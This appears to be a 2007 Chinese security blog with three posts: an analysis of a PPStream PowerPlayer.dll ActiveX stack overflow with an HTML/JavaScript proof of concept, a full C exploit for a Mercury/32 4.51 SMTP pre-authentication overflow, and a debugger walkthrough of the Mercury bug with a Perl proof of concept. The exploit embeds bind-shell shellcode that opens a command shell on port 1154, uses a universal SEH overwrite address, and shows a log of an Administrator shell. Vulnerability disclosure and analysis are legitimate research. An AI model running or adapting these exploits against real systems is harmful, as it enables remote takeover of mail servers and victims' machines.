2007年8月22日星期三

[Tips]PPStream PowerPlayer.dll Activex栈溢出分析

by axis
2007-08-22
http://www.ph4nt0m.org

这个漏洞是看雪的dummy发现的。
原文链接:http://bbs.pediy.com/showthread.php?t=49949
目前dummy已经通知了厂商,在最新版本的ppstream中,已经修复了这个漏洞

漏洞影响的版本是 PowerPlayer.dll 版本: 2.0.1.3829

这个漏洞和以前的qq、新浪UC的activex漏洞一样,是由于strcat造成的,而且同样和当前用户名有关。所以虽然这是栈溢出,但是要做到通用,还是只能用heap spray的方法比较好。不过如果已经知道用户名了,则可以定制出一个完美的exploit。

看漏洞程序:
在如下地方:
在MFC42.DLL中:

73DB7BB1    8BCE            MOV ECX,ESI
73DB7BB3    FF53 
14         CALL DWORD PTR DS:[EBX+14]               ; POWERP~1.026E1FF7

一路跟进去,到了如下调用strcat的地方(此时已经到了PowerPlayer.dll里了,这个dll每次加载地址都不同):
026E2159    8D85 9CFEFFFF   LEA EAX,DWORD PTR SS:[EBP-164]
026E215F    C70424 E8B46F02 MOV DWORD PTR SS:[ESP],POWERP~1.026FB4E8
026E2166    
50              PUSH EAX
026E2167    FFD3            CALL EBX                                 ; kernel32.lstrcatA
026E2169    FF36            PUSH DWORD PTR DS:[ESI]
026E216B    8D85 9CFEFFFF   LEA EAX,DWORD PTR SS:[EBP
-164]
026E2171    
50              PUSH EAX
026E2172    FFD3            CALL EBX                                 ; 溢出  lstrcatA

此时栈里的内容为:
EBP-164  > 445C3A43  C:\D
EBP
-160  > 6D75636F  ocum
EBP
-15C  > 73746E65  ents
EBP
-158  > 646E6120   and
EBP
-154  > 74655320   Set  msimtf.74655320
EBP
-150  > 676E6974  ting
EBP
-14C  > 64415C73  s\Ad
EBP
-148  > 696E696D  mini
EBP
-144  > 61727473  stra
EBP
-140  > 5C726F74  tor\
EBP
-13C  > 6C707041  Appl
EBP
-138  > 74616369  icat
EBP
-134  > 206E6F69  ion
EBP
-130  > 61746144  Data
EBP
-12C  > 5370705C  \ppS
EBP
-128  > 61657274  trea
EBP
-124  > 0A0A5C6D  m\..
EBP
-120  > 0A0A0A0A  .
EBP
-11C  > 0A0A0A0A  .
EBP
-118  > 0A0A0A0A  .
EBP
-114  > 0A0A0A0A  .

所以当覆盖164h时,就覆盖了EBP,注意这个164h是要包含前面的环境目录的。
所以这个漏洞是和用户名的长度有关系的,不同的用户名,需要根据长度进行调整。

以下是在用户名为administrator的情况下,覆盖eip的poc (eip = 'SXIA'):
<html><body>
<object id="ppc" classid="clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458"></object>
<script>
var buffer = '\x41';
while (buffer.length < 294
buffer 
+= '\x41';
buffer 
+= 'AXIS';

ppc.Logo 
= buffer;
</script>
</body></html>

还有一点要注意的就是,payload里不能包含有大于0x80的字符,不然会被转换。

听说还有其他dll有问题,没时间细看了,哪位朋友有时间不妨fuzz一下。

2007年8月21日星期二

[Exploit]Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow(Universal)

/*
    Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow(Universal)
    Public Version 1.0
    
http://www.ph4nt0m.org   
    2007-08-22
    
    Code by: Zhenhan.Liu
    Original POC: 
http://www.milw0rm.com/exploits/4294
    
    Vuln Analysis: 
http://pstgroup.blogspot.com/2007/08/tipsmercury-smtpd-auth-cram-md5-pre.html
    
    Our Mail-list: 
http://list.ph4nt0m.org  (Chinese)

  It will bind a cmdshell on port 1154 if successful.

Z:\Exp\Mercury SMTPD>mercury_smtpd.exe 127.0.0.1 25
== Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow
== Public Version 1.0
== 
http://www.ph4nt0m.org   2007-08-22

[*] connect to 127.0.0.1:25 . . . OK!
[C] EHLO void#ph4nt0m.org
[S] 220 root ESMTP server ready.
[S] 250-root Hello void#ph4nt0m.org; ESMTPs are:
250-TIME
[S] 250-SIZE 0
[S] 250 HELP
[C] AUTH CRAM-MD5
[S] 334 PDM0OTg4MjguMzQ2QHJvb3Q+
[C] Send Payload. . .
[-] Done! cmdshell@1154?

Z:\Exp\Mercury SMTPD\Mercury SMTPD>nc -vv 127.0.0.1 1154
DNS fwd/rev mismatch: localhost != gnu
localhost [127.0.0.1] 1154 (?) open
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.

e:\MERCURY>whoami
whoami
Administrator
  

*/

#include 
<io.h>
#include 
<stdio.h>
#include 
<winsock2.h>
#pragma comment(lib, 
"ws2_32")


/* win32_bind -  EXITFUNC=thread LPORT=1154 Size=317 Encoder=None http://metasploit.com */
unsigned 
char shellcode[] =
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
"\x66\x68\x04\x82\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
"\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0";



// Base64字符集
__inline char GetB64Char(int index)
{
    
const char szBase64Table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    
if (index >= 0 && index < 64)
    
return szBase64Table[index];
    
    
return '=';
}


// 从双字中取单字节
#define B0(a) (a & 0xFF)
#define B1(a) (a >> 8 & 0xFF)
#define B2(a) (a >> 16 & 0xFF)
#define B3(a) (a >> 24 & 0xFF)


// 编码后的长度一般比原文多占1/3的存储空间,请保证base64code有足够的空间
inline int Base64Encode(char * base64code, const char * src, int src_len) 
{   
    
if (src_len == 0)
    src_len 
= strlen(src);
    
    
int len = 0;
    unsigned 
char* psrc = (unsigned char*)src;
    
char * p64 = base64code;
    
for (int i = 0; i < src_len - 3; i += 3)
    {
    unsigned 
long ulTmp = *(unsigned long*)psrc;
    register 
int b0 = GetB64Char((B0(ulTmp) >> 2& 0x3F); 
    register 
int b1 = GetB64Char((B0(ulTmp) << 6 >> 2 | B1(ulTmp) >> 4& 0x3F); 
    register 
int b2 = GetB64Char((B1(ulTmp) << 4 >> 2 | B2(ulTmp) >> 6& 0x3F); 
    register 
int b3 = GetB64Char((B2(ulTmp) << 2 >> 2& 0x3F); 
    
*((unsigned long*)p64) = b0 | b1 << 8 | b2 << 16 | b3 << 24;
    len 
+= 4;

    p64  
+= 4;

    psrc 
+= 3;
    }
    
    
// 处理最后余下的不足3字节的饿数据
    if (i < src_len)
    {
    
int rest = src_len - i;
    unsigned 
long ulTmp = 0;
    
for (int j = 0; j < rest; ++j)
    {
        
*(((unsigned char*)&ulTmp) + j) = *psrc++;
    }
    
    p64[
0= GetB64Char((B0(ulTmp) >> 2& 0x3F); 
    p64[
1= GetB64Char((B0(ulTmp) << 6 >> 2 | B1(ulTmp) >> 4& 0x3F); 
    p64[
2= rest > 1 ? GetB64Char((B1(ulTmp) << 4 >> 2 | B2(ulTmp) >> 6& 0x3F) : '='
    p64[
3= rest > 2 ? GetB64Char((B2(ulTmp) << 2 >> 2& 0x3F) : '='
    p64 
+= 4
    len 
+= 4;
    }
    
    
*p64 = '\0'
    
    
return len;
}


char* GetErrorMessage(DWORD dwMessageId)
{
    
static  char ErrorMessage[1024];
    DWORD     dwRet;

    dwRet 
= FormatMessage(
                            FORMAT_MESSAGE_FROM_SYSTEM, 
// source and processing options 
                            NULL,                // pointer to  message source 
                            dwMessageId,            // requested message identifier 
                            0,                //dwLanguageId
                            ErrorMessage,            //lpBuffer
                            1024,                //nSize    
                            NULL                //Arguments
                            );

    
if(dwRet)
        
return ErrorMessage;
    
else
    {
        sprintf(ErrorMessage, 
"ID:%d(%08.8X)", dwMessageId, dwMessageId);
        
return ErrorMessage;
    }

}


int MakeConnection(char *address,int port,int timeout)
{
    
struct sockaddr_in target;
    SOCKET s;
    
int i;
    DWORD bf;
    fd_set wd;
    
struct timeval tv;

    s 
= socket(AF_INET,SOCK_STREAM,0);
    
if(s<0)
        
return -1;

    target.sin_family 
= AF_INET;
    target.sin_addr.s_addr 
= inet_addr(address);
    
if(target.sin_addr.s_addr==0)
    {
        closesocket(s);
        
return -2;
    }
    target.sin_port 
= htons((short)port);
    bf 
= 1;
    ioctlsocket(s,FIONBIO,
&bf);
    tv.tv_sec 
= timeout;
    tv.tv_usec 
= 0;
    FD_ZERO(
&wd);
    FD_SET(s,
&wd);
    connect(s,(
struct sockaddr *)&target,sizeof(target));
    
if((i=select(s+1,0,&wd,0,&tv))==(-1))
    {
        closesocket(s);
        
return -3;
    }
    
if(i==0)
    {
        closesocket(s);
        
return -4;
    }
    i 
= sizeof(int);
    getsockopt(s,SOL_SOCKET,SO_ERROR,(
char *)&bf,&i);
    
if((bf!=0)||(i!=sizeof(int)))
    {
        closesocket(s);
        
return -5;
    }
    ioctlsocket(s,FIONBIO,
&bf);
    
return s;
}


int check_recv(SOCKET s, char* str_sig)
{
    
char buf[1024];
    
int  ret;

    
for(;;)
    {
        memset(buf, 
0sizeof(buf));
        ret 
= recv(s, buf, sizeof(buf), 0);
        
if(ret > 0)
        {
            printf(
"[S] %s", buf);
        }
        
else
        {
            printf(
"[-] recv() %s\n",  GetErrorMessage(GetLastError()));
            closesocket(s);
            ExitProcess(
-1);
        }

        
if(strstr(buf, str_sig))
        {
            
break;
        }
        
else
        {
            
continue;
        }
    } 
//for(;;)

    
return ret;
}


int check_send(SOCKET s, char* buf, unsigned int buf_len)
{
    
int ret;
    
    ret 
= send(s, buf, buf_len, 0);
    
if( ret >0)
    {
        
return ret;
    }
    
else
    {
        printf(
"[-] send() %s\n", GetErrorMessage(GetLastError()));
        closesocket(s);
        ExitProcess(
-1);
    }
}


void exploit_mercury_smtpd(char* ip, unsigned short port)
{
    SOCKET s;
    WSADATA wsa;
    
char buf[1500];
    
char payload[sizeof(buf)*4/3+16];
    
int base64_len;


    memset(buf, 
0x90sizeof(buf));
    memcpy(
&buf[1244-sizeof(shellcode)-32], shellcode, sizeof(shellcode));
    memcpy(
&buf[1244], "\x90\x90\xeb\x06"4);
    memcpy(
&buf[1244+4], "\x2d\x12\x40\x00"4);  //universal opcode in mercury.exe. no safeseh
    memcpy(&buf[1244+4+4], "\x90\x90\x90\x90\xE9\x44\xfd\xff\xff"9);
    buf[
sizeof(buf)-1= '\0'

    memset(payload, 
0x00sizeof(payload));
    base64_len 
= Base64Encode(payload, buf, sizeof(buf));
    memcpy(
&payload[base64_len], "\r\n"3);

    printf(
"[*] connect to %s:%d . . . ", ip, port);
    WSAStartup(MAKEWORD(
2,2), &wsa);
    s 
= MakeConnection(ip, port, 10);
    
if(s <= 0)
    {
        printf(
"Failed! %s\n",  GetErrorMessage(GetLastError()) );
        
return;
    }
    
else
    {
        printf(
"OK!\n");
    }

    _snprintf(buf, 
sizeof(buf), "EHLO void#ph4nt0m.org\r\n");
    printf(
"[C] %s", buf);
    check_send(s, buf, strlen(buf));
    check_recv(s, 
"250 HELP");
        
    _snprintf(buf, 
sizeof(buf), "AUTH CRAM-MD5\r\n");
    printf(
"[C] %s", buf);
    check_send(s, buf, strlen(buf));
    check_recv(s, 
"334");

    printf(
"[C] Send Payload. . .\n");
    check_send(s, payload, strlen(payload));
    printf(
"[-] Done! cmdshell@1154?\n");
    
    closesocket(s);
    WSACleanup();
    
}

void main(int argc, char* argv[])
{
    printf(
"== Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow\n");
    printf(
"== Public Version 1.0\n");
    printf(
"== http://www.ph4nt0m.org   2007-08-22\n");
    printf(
"== code by Zhenhan.Liu\n\n");
    
    
    
if(argc==3)
        exploit_mercury_smtpd(argv[
1], atoi(argv[2]));
    
else
    {
        printf(    
"Usage:\n"
                
"  %s <ip> <port> \n", argv[0]);
    }
}

2007年8月19日星期日

[Tips]Mercury SMTPD AUTH CRAM-MD5 Pre-Auth Remote Stack Overflow Analysis

by axis
2007-08-20
http://www.ph4nt0m.org

eliteb0y had posted a stack based overflow of Mercury SMTPD on FD today.

POC: http://www.milw0rm.com/exploits/4294

use IO::Socket;
use MIME::Base64;
$
|=1;
$host = "localhost";
$a = "QUFB" x 10000;
my $sock = IO::Socket::INET->new(PeerAddr => "$host",
PeerPort 
=> '25',
Proto 
=> 'tcp');
print $sock "EHLO you\r\n";
print $sock "AUTH CRAM-MD5\r\n";
print $sock $a . "\r\n";
while(<$sock>) {
print;
}


I've installed the latest version of Mercury,and found that the banner of smtpd has been deleted, but the banner of imapd is still keeped.
My machine:
Windows 2003 CN SP1
Mercury/32 v4.51

attach to mercury.exe process:

The Vuln Func:
015261B3    6A 00           PUSH 0
015261B5    8D8B A2060000   LEA ECX,DWORD PTR DS:[EBX
+6A2]
015261BB    
51              PUSH ECX                                 ; 指向string
015261BC    8D85 38FFFFFF   LEA EAX,DWORD PTR SS:[EBP
-C8]
015261C2    
50              PUSH EAX
015261C3    8B15 D8CB5401   MOV EDX,DWORD PTR DS:[154CBD8]
015261C9    FF92 3E010000   CALL DWORD PTR DS:[EDX
+13E]              ; mercury.004251C1


The Second Args here points to our string

In the Func:
004251C1    55              PUSH EBP
004251C2    8BEC            MOV EBP,ESP
004251C4    
51              PUSH ECX
004251C5    
53              PUSH EBX
004251C6    
56              PUSH ESI
004251C7    8B55 
08         MOV EDX,DWORD PTR SS:[EBP+8]             ; dest
004251CA    E9 4B010000     JMP mercury.0042531A


it will copy to here([edx]), which address is in the stack
004251C7 8B55 08 MOV EDX,DWORD PTR SS:[EBP+8] ; dest

now in the stack
EDX = 025FFAD4
025FFAD0 |00000004
025FFAD4 |025FFB20 ; 从这里覆盖起
025FFAD8 |71A8236B 返回到 mswsock.71A8236B 来自 kernel32.InterlockedDecrement
025FFADC |71A8237A 返回到 mswsock.71A8237A 来自 mswsock.71A81480
025FFAE0 |00000000
025FFAE4 |0016AFE8
025FFAE8 |00000000
025FFAEC |0000277B
025FFAF0 |00168E68

and continue:
0042531A    8B4D 0C         MOV ECX,DWORD PTR SS:[EBP+C]
0042531D    FF45 0C         INC DWORD PTR SS:[EBP
+C]
00425320    0FBE01          MOVSX EAX,BYTE PTR DS:[ECX]
00425323    85C0            TEST EAX,EAX
00425325  ^ 0F85 A4FEFFFF   JNZ mercury.004251CF       ; 跳转实现
0042532B    C602 
00         MOV BYTE PTR DS:[EDX],0
0042532E    B8 
01000000     MOV EAX,1
00425333    5E              POP ESI


now is the proceture of copy,take care of badchars
004251CF    83F8 0D         CMP EAX,0D
004251D2    0F84 
42010000   JE mercury.0042531A
004251D8    83F8 0A         CMP EAX,0A
004251DB    0F84 
39010000   JE mercury.0042531A
004251E1    8B4D 0C         MOV ECX,DWORD PTR SS:[EBP
+C]
004251E4    0FBE09          MOVSX ECX,BYTE PTR DS:[ECX]
004251E7    FF45 0C         INC DWORD PTR SS:[EBP
+C]
004251EA    8B5D 0C         MOV EBX,DWORD PTR SS:[EBP
+C]
004251ED    0FBE33          MOVSX ESI,BYTE PTR DS:[EBX]
004251F0    FF45 0C         INC DWORD PTR SS:[EBP
+C]
004251F3    8B5D 0C         MOV EBX,DWORD PTR SS:[EBP
+C]
004251F6    0FBE1B          MOVSX EBX,BYTE PTR DS:[EBX]
004251F9    895D FC         MOV DWORD PTR SS:[EBP
-4],EBX
004251FC    FF45 0C         INC DWORD PTR SS:[EBP
+C]
004251FF    85C9            TEST ECX,ECX
00425201    74 0A           JE SHORT mercury.0042520D
00425203    85F6            TEST ESI,ESI
00425205    74 06           JE SHORT mercury.0042520D
00425207    837D FC 00      CMP DWORD PTR SS:[EBP-4],0
0042520B    
75 0A           JNZ SHORT mercury.00425217
0042520D    C602 
00         MOV BYTE PTR DS:[EDX],0
00425210    33C0            XOR EAX,EAX
00425212    E9 1C010000     JMP mercury.00425333
00425217    83F8 3D         CMP EAX,3D
0042521A    0F84 0B010000   JE mercury.0042532B
00425220    83F9 3D         CMP ECX,3D
00425223    0F84 02010000   JE mercury.0042532B
00425229    85C0            TEST EAX,EAX
0042522B    7C 
05           JL SHORT mercury.00425232
0042522D    83F8 7F         CMP EAX,7F
00425230    7E 05           JLE SHORT mercury.00425237
00425232    83CB FF         OR EBX,FFFFFFFF
00425235    EB 08           JMP SHORT mercury.0042523F
00425237    0FBF1C45 96A946>MOVSX EBX,WORD PTR DS:[EAX*2+46A996]     ; 根据我们控制的数据,变成offset,读取.data中的数据
0042523F    8BC3            MOV EAX,EBX
00425241    85C9            TEST ECX,ECX
00425243    7C 05           JL SHORT mercury.0042524A
00425245    83F9 7F         CMP ECX,7F
00425248    7E 05           JLE SHORT mercury.0042524F
0042524A    83CB FF         OR EBX,FFFFFFFF
0042524D    EB 
08           JMP SHORT mercury.00425257
0042524F    0FBF1C4D 96A946
>MOVSX EBX,WORD PTR DS:[ECX*2+46A996]
00425257    8BCB            MOV ECX,EBX
00425259    C1E0 02         SHL EAX,2
0042525C    8BD9            MOV EBX,ECX
0042525E    83E3 
30         AND EBX,30
00425261    C1FB 04         SAR EBX,4
00425264    0BC3            OR EAX,EBX
00425266    A8 80           TEST AL,80
00425268    74 14           JE SHORT mercury.0042527E
0042526A    837D 
10 00      CMP DWORD PTR SS:[EBP+10],0
0042526E    
74 0E           JE SHORT mercury.0042527E


copy after jmp,take care of the algorithm:
0042527E    8802            MOV BYTE PTR DS:[EDX],AL                 ; copy begin
00425280    42              INC EDX
00425281    83FE 3D         CMP ESI,3D
00425284    0F84 A1000000   JE mercury.0042532B
0042528A    85F6            TEST ESI,ESI
0042528C    7C 
05           JL SHORT mercury.00425293
0042528E    83FE 7F         CMP ESI,7F
00425291    7E 05           JLE SHORT mercury.00425298
00425293    83C8 FF         OR EAX,FFFFFFFF
00425296    EB 08           JMP SHORT mercury.004252A0
00425298    0FBF0475 96A946>MOVSX EAX,WORD PTR DS:[ESI*2+46A996]
004252A0    8BF0            MOV ESI,EAX
004252A2    8BC1            MOV EAX,ECX
004252A4    83E0 0F         AND EAX,0F
004252A7    C1E0 
04         SHL EAX,4
004252AA    8BCE            MOV ECX,ESI
004252AC    83E1 3C         AND ECX,3C
004252AF    C1F9 
02         SAR ECX,2
004252B2    0BC1            OR EAX,ECX
004252B4    A8 
80           TEST AL,80
004252B6    
74 14           JE SHORT mercury.004252CC
004252B8    837D 
10 00      CMP DWORD PTR SS:[EBP+10],0
004252BC    
74 0E           JE SHORT mercury.004252CC


jmp and continue:
004252CC    8802            MOV BYTE PTR DS:[EDX],AL                 ; 拷贝
004252CE    
42              INC EDX
004252CF    837D FC 3D      CMP DWORD PTR SS:[EBP
-4],3D
004252D3    
74 56           JE SHORT mercury.0042532B
004252D5    837D FC 
00      CMP DWORD PTR SS:[EBP-4],0
004252D9    7C 
06           JL SHORT mercury.004252E1
004252DB    837D FC 7F      CMP DWORD PTR SS:[EBP
-4],7F
004252DF    7E 
05           JLE SHORT mercury.004252E6
004252E1    83C8 FF         OR EAX,FFFFFFFF
004252E4    EB 0B           JMP SHORT mercury.004252F1
004252E6    8B4D FC         MOV ECX,DWORD PTR SS:[EBP
-4]
004252E9    0FBF044D 96A946
>MOVSX EAX,WORD PTR DS:[ECX*2+46A996]
004252F1    
8945 FC         MOV DWORD PTR SS:[EBP-4],EAX
004252F4    8BC6            MOV EAX,ESI
004252F6    83E0 
03         AND EAX,3
004252F9    C1E0 
06         SHL EAX,6
004252FC    0B45 FC         OR EAX,DWORD PTR SS:[EBP
-4]
004252FF    A8 
80           TEST AL,80
00425301    74 14           JE SHORT mercury.00425317


. . . . . .



00425317    8802            MOV BYTE PTR DS:[EDX],AL                 ; copy
00425319    42              INC EDX
0042531A    8B4D 0C         MOV ECX,DWORD PTR SS:[EBP
+C]
0042531D    FF45 0C         INC DWORD PTR SS:[EBP
+C]
00425320    0FBE01          MOVSX EAX,BYTE PTR DS:[ECX]
00425323    85C0            TEST EAX,EAX
00425325  ^ 0F85 A4FEFFFF   JNZ mercury.004251CF                     ; 循环


it will overwrite the entire stack, then trigger the exception
025FFFB0 41414141 指向下一个 SEH 记录的指针
025FFFB4 41414141 SE处理程序
025FFFB8 41414141
025FFFBC 41414141
025FFFC0 41414141
025FFFC4 41414141
025FFFC8 41414141
025FFFCC 41414141
025FFFD0 41414141
025FFFD4 41414141
025FFFD8 41414141
025FFFDC 41414141
025FFFE0 41414141
025FFFE4 41414141
025FFFE8 41414141
025FFFEC 41414141
025FFFF0 41414141
025FFFF4 41414141
025FFFF8 41414141
025FFFFC 41414141

If you read suck above, let me explain it:
It's very simple, as you input your string, it will find the corresponding char in .data, then copy the corresponding char to somewhere in the stack. Because of the lack of length checking, it will continued copy the string to the stack unless the end of the string was found, so it will overwrite the entire stack, and the exception is triggered.
It will overwrite the seh handler in the stack, so we can control the flow of execution by overwriting SEH.

At first, the algorithm made me suck here, but void told me that it was a standard base64 here. So it becomes much easier to exploit it.
And base64 encode("AAA") = "QUFB", which is the string used in the POC here.
Thanks to Void#ph4nt0m for help me recognizing the algorithm.